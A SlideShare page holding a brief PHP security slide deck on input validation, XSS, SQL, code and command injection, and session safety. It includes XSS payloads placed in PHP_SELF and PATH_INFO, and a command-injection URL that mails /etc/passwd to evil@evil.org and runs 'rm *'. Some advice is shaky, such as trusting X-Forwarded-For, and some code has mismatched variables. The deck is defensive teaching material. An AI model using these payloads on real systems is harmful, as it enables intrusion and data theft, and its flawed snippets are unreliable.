SlideShare a Scribd company logo
1 of 17
PHP Security
by
Uttam KUmar
Email:- trickyuk001@gmail.com
Mobile:- 8149253187
What is Security?
measurement…
safety…
protection…
Secure Web Applications
web security issues have to do with:
– hacker attacks
• denial of service
• server hijacking
– common threats
– compromise of data
PHP & Security
a growing language…
a major concern…
Never trust the web…
Input data validation
– register_globals = OFF
– $_REQUEST[] big NO NO …
– type casting input data
• No isNumeric() if data is numeric [locale problem]
• regularExp if data is string
– Path validation
• Always use basename()
Never trust the web…
• Content size validation
– use server side max length validation
– File Upload
• Check destination file size with $_FILES[‘name’][‘size’]
• I think Browser MIME header is reliable right ?
– Use getImageSize() in case of image
• External source upload like Avtar
– Make a local copy if path/of/file submitted from a URL.
XSS attack
– Can lead to embarrassment.
– Session take-over.
– Password theft.
– User tracking by 3rd
parties
XSS attack
Prevention is better than cure
– Use striptags()
• No tag allowance please
– Use htmlentities()
– Is $_SERVER safe ?
• Can be set…
• Php.php/%22%3E%3Cscript%3Ealert(‘xss’)%3c/script%3E%3cfoo
• $_SERVER[‘PATH_INFO’] = /”><script>alert(‘xss’)</script><foo;
• $_SERVER[‘PHP_SELF’] = /php.php/”><script> alert(‘xss’)</script><foo
– IP based info
• Use HTTP_X_FORWARDED_FOR
• Use long2ip()
– $aIp = explode(‘,’,$_SERVER[HTTP_X_FORWARDED_FOR]);
– $sValidIp = long2ip(ip2long(array_pop($ipss)));
SQL Injection
WWW
– Arbitrary query execution
– Removal of data.
– Modification of existing values.
– Denial of service.
– Arbitrary data injection.
Preventing SQL injection
• Are magic quotes enough?
– use mysql_real_escape_string()
– use prepared statements
– avoid omitting single quotes
– LIKE quandary need addslashes()
– avoid printing query
– Authentication data storage
• Encrypt sensitive data to access database
• Make sure it’s only loaded for certain VirtualHost
Authentication Data Storage
SetEnv DB_LOGIN “login”
SetEnv DB_PASSWD “password”
Set Env DB_HOST “127.0.0.7”
<virtualHost iila.ws>
include /home/illa/sql.conf
</virtualHost>
$_SERVER[‘DB_LOGIN’]
$_SERVER[‘DB_PASSWD’]
/home/illa/sql.conf Apache server configuration
PHP file
Better Approach is to set these things under php’s ini directives
use php_admin_value mysql.default.user. “login”
Preventing code injection
– Path validation
– Validate fileName
$sFile = “D’sozaRes.doc’;
basename($sFile); //will return D’sozaRes.doc on *nix system
basename($sFile); //will return ’sozaRes.doc on win32
• Remove slashes
• Keep white list of file name
• Use full path
– Avoid variables in eval()
– Avoid using variable passed by users for regEx.
Command injection
– Use escapeshellcmd() and escapeshellarg()
– Use full path for command
– Set prority and memory limit for command
• shell_exec(“ulimit –t 20 –m 20000; /usr/bin/php test.php”);
Calling External Programs
<?php $fp = popen(‘/usr/sbin/sendmail -i ‘. $to , ‘w’); ?>
The user could control $to to yield:
http://examp.com/send.php?$to=evil%40evil.org+%3C+%2Fpasswd%3B+rm+%2A
which would result in running the command:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *
a solution would be:
$fp = popen(‘/usr/sbin/sendmail -i ‘ . escapeshellarg($to), ‘w’);
Securing sessions
• Weakness of session
– Server side weakness…
• ls –l /tmp/sess_* //can reveal session info
– URL session exploitation
• Solution
– Native protection.
– Mixing security and convenience.
– Securing session storage path
– Check browser signature
– Referrer validation
Questions…????
Thank You !!

More Related Content

What's hot

Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web securityjeyaselvir
 
WordPress Security - WordPress Meetup Copenhagen 2013
WordPress Security - WordPress Meetup Copenhagen 2013WordPress Security - WordPress Meetup Copenhagen 2013
WordPress Security - WordPress Meetup Copenhagen 2013Thor Kristiansen
 
Ch7(publishing my sql data on the web)
Ch7(publishing my sql data on the web)Ch7(publishing my sql data on the web)
Ch7(publishing my sql data on the web)Chhom Karath
 
Tips for Fixing A Hacked WordPress Site - Vlad Lasky
Tips for Fixing A Hacked WordPress Site - Vlad LaskyTips for Fixing A Hacked WordPress Site - Vlad Lasky
Tips for Fixing A Hacked WordPress Site - Vlad LaskyWordCamp Sydney
 
Hack proof your ASP NET Applications
Hack proof your ASP NET ApplicationsHack proof your ASP NET Applications
Hack proof your ASP NET ApplicationsSarvesh Kushwaha
 
Apache Server Tutorial
Apache Server TutorialApache Server Tutorial
Apache Server TutorialJagat Kothari
 
WordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
WordCamp Chicago 2011 - WordPress End User Security - Dre ArmedaWordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
WordCamp Chicago 2011 - WordPress End User Security - Dre ArmedaDre Armeda
 
AmazonS3 & Rails
AmazonS3 & RailsAmazonS3 & Rails
AmazonS3 & Rails_martinS_
 
Cross site calls with javascript - the right way with CORS
Cross site calls with javascript - the right way with CORSCross site calls with javascript - the right way with CORS
Cross site calls with javascript - the right way with CORSMichael Neale
 
Securing WordPress
Securing WordPressSecuring WordPress
Securing WordPressShawn Hooper
 
Whats new in ASP.NET 4.0
Whats new in ASP.NET 4.0Whats new in ASP.NET 4.0
Whats new in ASP.NET 4.0py_sunil
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5DefconRussia
 
What You Missed in Computer Science
What You Missed in Computer ScienceWhat You Missed in Computer Science
What You Missed in Computer ScienceTaylor Lovett
 
Securing Your Web Server
Securing Your Web ServerSecuring Your Web Server
Securing Your Web Servermanugoel2003
 
Web Application Development using PHP Chapter 7
Web Application Development using PHP Chapter 7Web Application Development using PHP Chapter 7
Web Application Development using PHP Chapter 7Mohd Harris Ahmad Jaal
 

What's hot (20)

Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web security
 
WordPress Security - WordPress Meetup Copenhagen 2013
WordPress Security - WordPress Meetup Copenhagen 2013WordPress Security - WordPress Meetup Copenhagen 2013
WordPress Security - WordPress Meetup Copenhagen 2013
 
Apache Web Server Setup 1
Apache Web Server Setup 1Apache Web Server Setup 1
Apache Web Server Setup 1
 
Ch7(publishing my sql data on the web)
Ch7(publishing my sql data on the web)Ch7(publishing my sql data on the web)
Ch7(publishing my sql data on the web)
 
Tips for Fixing A Hacked WordPress Site - Vlad Lasky
Tips for Fixing A Hacked WordPress Site - Vlad LaskyTips for Fixing A Hacked WordPress Site - Vlad Lasky
Tips for Fixing A Hacked WordPress Site - Vlad Lasky
 
Google Hacking Basics
Google Hacking BasicsGoogle Hacking Basics
Google Hacking Basics
 
Hack proof your ASP NET Applications
Hack proof your ASP NET ApplicationsHack proof your ASP NET Applications
Hack proof your ASP NET Applications
 
Apache Web Server Setup 4
Apache Web Server Setup 4Apache Web Server Setup 4
Apache Web Server Setup 4
 
Apache Server Tutorial
Apache Server TutorialApache Server Tutorial
Apache Server Tutorial
 
WordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
WordCamp Chicago 2011 - WordPress End User Security - Dre ArmedaWordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
WordCamp Chicago 2011 - WordPress End User Security - Dre Armeda
 
AmazonS3 & Rails
AmazonS3 & RailsAmazonS3 & Rails
AmazonS3 & Rails
 
Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014Anatomy of a Drupal Hack - TechKnowFile 2014
Anatomy of a Drupal Hack - TechKnowFile 2014
 
Bridging the Gap
Bridging the GapBridging the Gap
Bridging the Gap
 
Cross site calls with javascript - the right way with CORS
Cross site calls with javascript - the right way with CORSCross site calls with javascript - the right way with CORS
Cross site calls with javascript - the right way with CORS
 
Securing WordPress
Securing WordPressSecuring WordPress
Securing WordPress
 
Whats new in ASP.NET 4.0
Whats new in ASP.NET 4.0Whats new in ASP.NET 4.0
Whats new in ASP.NET 4.0
 
Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5Krzysztof Kotowicz - Hacking HTML5
Krzysztof Kotowicz - Hacking HTML5
 
What You Missed in Computer Science
What You Missed in Computer ScienceWhat You Missed in Computer Science
What You Missed in Computer Science
 
Securing Your Web Server
Securing Your Web ServerSecuring Your Web Server
Securing Your Web Server
 
Web Application Development using PHP Chapter 7
Web Application Development using PHP Chapter 7Web Application Development using PHP Chapter 7
Web Application Development using PHP Chapter 7
 

Viewers also liked

Rabobank - Crowdfunding: De bank buitenspel?
Rabobank - Crowdfunding: De bank buitenspel?Rabobank - Crowdfunding: De bank buitenspel?
Rabobank - Crowdfunding: De bank buitenspel?Ronald Kleverlaan
 
Innovation at Israel Mobile Monetization Summit
Innovation at Israel Mobile Monetization SummitInnovation at Israel Mobile Monetization Summit
Innovation at Israel Mobile Monetization SummitEric Reiss
 
WIAD Budapest 2014
WIAD Budapest 2014WIAD Budapest 2014
WIAD Budapest 2014Eric Reiss
 
Crowdfunding - ProductIP - Meer dan geld alleen
Crowdfunding - ProductIP - Meer dan geld alleenCrowdfunding - ProductIP - Meer dan geld alleen
Crowdfunding - ProductIP - Meer dan geld alleenRonald Kleverlaan
 
Users, experience, and beyond
Users, experience, and beyondUsers, experience, and beyond
Users, experience, and beyondEric Reiss
 
Ppt paragraaf 2.2_klas_3
Ppt paragraaf 2.2_klas_3Ppt paragraaf 2.2_klas_3
Ppt paragraaf 2.2_klas_3Riporter
 
Presentation at Day 0 2010
Presentation at Day 0 2010Presentation at Day 0 2010
Presentation at Day 0 2010Keerthi Kiran K
 
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
“CheckinDJ” Using Check-Ins to Crowdsource Music PreferencesUniversity of Central Lancashire
 
Dämmen mit seegras aus der Ostsee
Dämmen mit seegras aus der OstseeDämmen mit seegras aus der Ostsee
Dämmen mit seegras aus der OstseeJoern Hartje
 
Of brains and buttons (UXCE, Berlin, Germany)
Of brains and buttons (UXCE, Berlin, Germany)Of brains and buttons (UXCE, Berlin, Germany)
Of brains and buttons (UXCE, Berlin, Germany)Eric Reiss
 
Crowdfunding introductie KvK en Livewire
Crowdfunding introductie KvK en LivewireCrowdfunding introductie KvK en Livewire
Crowdfunding introductie KvK en LivewireRonald Kleverlaan
 
TEDxThe HagueLIVE Sponsor Presentation
TEDxThe HagueLIVE Sponsor PresentationTEDxThe HagueLIVE Sponsor Presentation
TEDxThe HagueLIVE Sponsor Presentationearlybird44
 
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...Connie White
 
Crowdfunding - more than money - V4 conference
Crowdfunding - more than money - V4 conferenceCrowdfunding - more than money - V4 conference
Crowdfunding - more than money - V4 conferenceRonald Kleverlaan
 
Topics, trends, and telephones
Topics, trends, and telephonesTopics, trends, and telephones
Topics, trends, and telephonesEric Reiss
 
Django Girls 2015 - CSS
Django Girls 2015 - CSSDjango Girls 2015 - CSS
Django Girls 2015 - CSSHsuan Fu Lien
 

Viewers also liked (20)

Rabobank - Crowdfunding: De bank buitenspel?
Rabobank - Crowdfunding: De bank buitenspel?Rabobank - Crowdfunding: De bank buitenspel?
Rabobank - Crowdfunding: De bank buitenspel?
 
Innovation at Israel Mobile Monetization Summit
Innovation at Israel Mobile Monetization SummitInnovation at Israel Mobile Monetization Summit
Innovation at Israel Mobile Monetization Summit
 
Ochoa marmex
Ochoa marmexOchoa marmex
Ochoa marmex
 
WIAD Budapest 2014
WIAD Budapest 2014WIAD Budapest 2014
WIAD Budapest 2014
 
Best Practices for Second Life
Best Practices for Second LifeBest Practices for Second Life
Best Practices for Second Life
 
Crowdfunding - ProductIP - Meer dan geld alleen
Crowdfunding - ProductIP - Meer dan geld alleenCrowdfunding - ProductIP - Meer dan geld alleen
Crowdfunding - ProductIP - Meer dan geld alleen
 
Users, experience, and beyond
Users, experience, and beyondUsers, experience, and beyond
Users, experience, and beyond
 
Ppt paragraaf 2.2_klas_3
Ppt paragraaf 2.2_klas_3Ppt paragraaf 2.2_klas_3
Ppt paragraaf 2.2_klas_3
 
Presentation at Day 0 2010
Presentation at Day 0 2010Presentation at Day 0 2010
Presentation at Day 0 2010
 
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
“CheckinDJ” Using Check-Ins to Crowdsource Music Preferences
 
Dämmen mit seegras aus der Ostsee
Dämmen mit seegras aus der OstseeDämmen mit seegras aus der Ostsee
Dämmen mit seegras aus der Ostsee
 
Of brains and buttons (UXCE, Berlin, Germany)
Of brains and buttons (UXCE, Berlin, Germany)Of brains and buttons (UXCE, Berlin, Germany)
Of brains and buttons (UXCE, Berlin, Germany)
 
Grassroutes For Manthan
Grassroutes For ManthanGrassroutes For Manthan
Grassroutes For Manthan
 
Halloween
HalloweenHalloween
Halloween
 
Crowdfunding introductie KvK en Livewire
Crowdfunding introductie KvK en LivewireCrowdfunding introductie KvK en Livewire
Crowdfunding introductie KvK en Livewire
 
TEDxThe HagueLIVE Sponsor Presentation
TEDxThe HagueLIVE Sponsor PresentationTEDxThe HagueLIVE Sponsor Presentation
TEDxThe HagueLIVE Sponsor Presentation
 
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
A Framework to Identify Best Practices: Social Media and Web 2.0 Technologies...
 
Crowdfunding - more than money - V4 conference
Crowdfunding - more than money - V4 conferenceCrowdfunding - more than money - V4 conference
Crowdfunding - more than money - V4 conference
 
Topics, trends, and telephones
Topics, trends, and telephonesTopics, trends, and telephones
Topics, trends, and telephones
 
Django Girls 2015 - CSS
Django Girls 2015 - CSSDjango Girls 2015 - CSS
Django Girls 2015 - CSS
 

Similar to Php security

The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictionsMukesh k.r
 
Security Bootcamp 2013 lap trinh web an toan
Security Bootcamp 2013   lap trinh web an toanSecurity Bootcamp 2013   lap trinh web an toan
Security Bootcamp 2013 lap trinh web an toanSecurity Bootcamp
 
Security Bootcamp 2013 - Lap trinh web an toan
Security Bootcamp 2013 - Lap trinh web an toanSecurity Bootcamp 2013 - Lap trinh web an toan
Security Bootcamp 2013 - Lap trinh web an toanSecurity Bootcamp
 
Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksChema Alonso
 
WordPress Security Fundamentals - WordCamp Biratnagar 2018
WordPress Security Fundamentals - WordCamp Biratnagar 2018WordPress Security Fundamentals - WordCamp Biratnagar 2018
WordPress Security Fundamentals - WordCamp Biratnagar 2018Abul Khayer
 
MySQL server security
MySQL server securityMySQL server security
MySQL server securityDamien Seguy
 
Dan Catalin Vasile - Hacking the Wordpress Ecosystem
Dan Catalin Vasile - Hacking the Wordpress EcosystemDan Catalin Vasile - Hacking the Wordpress Ecosystem
Dan Catalin Vasile - Hacking the Wordpress EcosystemDan Vasile
 
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
Neo word press meetup   ehermits - how to keep your blog from being hacked 2012Neo word press meetup   ehermits - how to keep your blog from being hacked 2012
Neo word press meetup ehermits - how to keep your blog from being hacked 2012Brian Layman
 
Seguranca em APP Rails
Seguranca em APP RailsSeguranca em APP Rails
Seguranca em APP RailsDaniel Lopes
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure codingHaitham Raik
 
European SharePoint Conference Training Week - Installing SharePoint 2013
European SharePoint Conference Training Week - Installing SharePoint 2013European SharePoint Conference Training Week - Installing SharePoint 2013
European SharePoint Conference Training Week - Installing SharePoint 2013Alan Richards
 
Installing SharePoint 2013 – Step by Step presented by Alan Richards
Installing SharePoint 2013 – Step by Step presented by Alan RichardsInstalling SharePoint 2013 – Step by Step presented by Alan Richards
Installing SharePoint 2013 – Step by Step presented by Alan RichardsEuropean SharePoint Conference
 
OWASP Top 10 at International PHP Conference 2014 in Berlin
OWASP Top 10 at International PHP Conference 2014 in BerlinOWASP Top 10 at International PHP Conference 2014 in Berlin
OWASP Top 10 at International PHP Conference 2014 in BerlinTobias Zander
 
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...MongoDB
 

Similar to Php security (20)

Php Security
Php SecurityPhp Security
Php Security
 
Owasp Top 10 A1: Injection
Owasp Top 10 A1: InjectionOwasp Top 10 A1: Injection
Owasp Top 10 A1: Injection
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Rails Security
Rails SecurityRails Security
Rails Security
 
Bypass file upload restrictions
Bypass file upload restrictionsBypass file upload restrictions
Bypass file upload restrictions
 
Security Bootcamp 2013 lap trinh web an toan
Security Bootcamp 2013   lap trinh web an toanSecurity Bootcamp 2013   lap trinh web an toan
Security Bootcamp 2013 lap trinh web an toan
 
Security Bootcamp 2013 - Lap trinh web an toan
Security Bootcamp 2013 - Lap trinh web an toanSecurity Bootcamp 2013 - Lap trinh web an toan
Security Bootcamp 2013 - Lap trinh web an toan
 
Connection String Parameter Pollution Attacks
Connection String Parameter Pollution AttacksConnection String Parameter Pollution Attacks
Connection String Parameter Pollution Attacks
 
null Bangalore meet - Php Security
null Bangalore meet - Php Securitynull Bangalore meet - Php Security
null Bangalore meet - Php Security
 
WordPress Security Fundamentals - WordCamp Biratnagar 2018
WordPress Security Fundamentals - WordCamp Biratnagar 2018WordPress Security Fundamentals - WordCamp Biratnagar 2018
WordPress Security Fundamentals - WordCamp Biratnagar 2018
 
MySQL server security
MySQL server securityMySQL server security
MySQL server security
 
Dan Catalin Vasile - Hacking the Wordpress Ecosystem
Dan Catalin Vasile - Hacking the Wordpress EcosystemDan Catalin Vasile - Hacking the Wordpress Ecosystem
Dan Catalin Vasile - Hacking the Wordpress Ecosystem
 
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
Neo word press meetup   ehermits - how to keep your blog from being hacked 2012Neo word press meetup   ehermits - how to keep your blog from being hacked 2012
Neo word press meetup ehermits - how to keep your blog from being hacked 2012
 
Securing your web apps now
Securing your web apps nowSecuring your web apps now
Securing your web apps now
 
Seguranca em APP Rails
Seguranca em APP RailsSeguranca em APP Rails
Seguranca em APP Rails
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
European SharePoint Conference Training Week - Installing SharePoint 2013
European SharePoint Conference Training Week - Installing SharePoint 2013European SharePoint Conference Training Week - Installing SharePoint 2013
European SharePoint Conference Training Week - Installing SharePoint 2013
 
Installing SharePoint 2013 – Step by Step presented by Alan Richards
Installing SharePoint 2013 – Step by Step presented by Alan RichardsInstalling SharePoint 2013 – Step by Step presented by Alan Richards
Installing SharePoint 2013 – Step by Step presented by Alan Richards
 
OWASP Top 10 at International PHP Conference 2014 in Berlin
OWASP Top 10 at International PHP Conference 2014 in BerlinOWASP Top 10 at International PHP Conference 2014 in Berlin
OWASP Top 10 at International PHP Conference 2014 in Berlin
 
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
MongoDB World 2018: Low Hanging Fruit: Making Your Basic MongoDB Installation...
 

Recently uploaded

The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdflior mazor
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationSafe Software
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUK Journal
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 

Recently uploaded (20)

The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 

Php security

  • 1. PHP Security by Uttam KUmar Email:- trickyuk001@gmail.com Mobile:- 8149253187
  • 3. Secure Web Applications web security issues have to do with: – hacker attacks • denial of service • server hijacking – common threats – compromise of data
  • 4. PHP & Security a growing language… a major concern…
  • 5. Never trust the web… Input data validation – register_globals = OFF – $_REQUEST[] big NO NO … – type casting input data • No isNumeric() if data is numeric [locale problem] • regularExp if data is string – Path validation • Always use basename()
  • 6. Never trust the web… • Content size validation – use server side max length validation – File Upload • Check destination file size with $_FILES[‘name’][‘size’] • I think Browser MIME header is reliable right ? – Use getImageSize() in case of image • External source upload like Avtar – Make a local copy if path/of/file submitted from a URL.
  • 7. XSS attack – Can lead to embarrassment. – Session take-over. – Password theft. – User tracking by 3rd parties
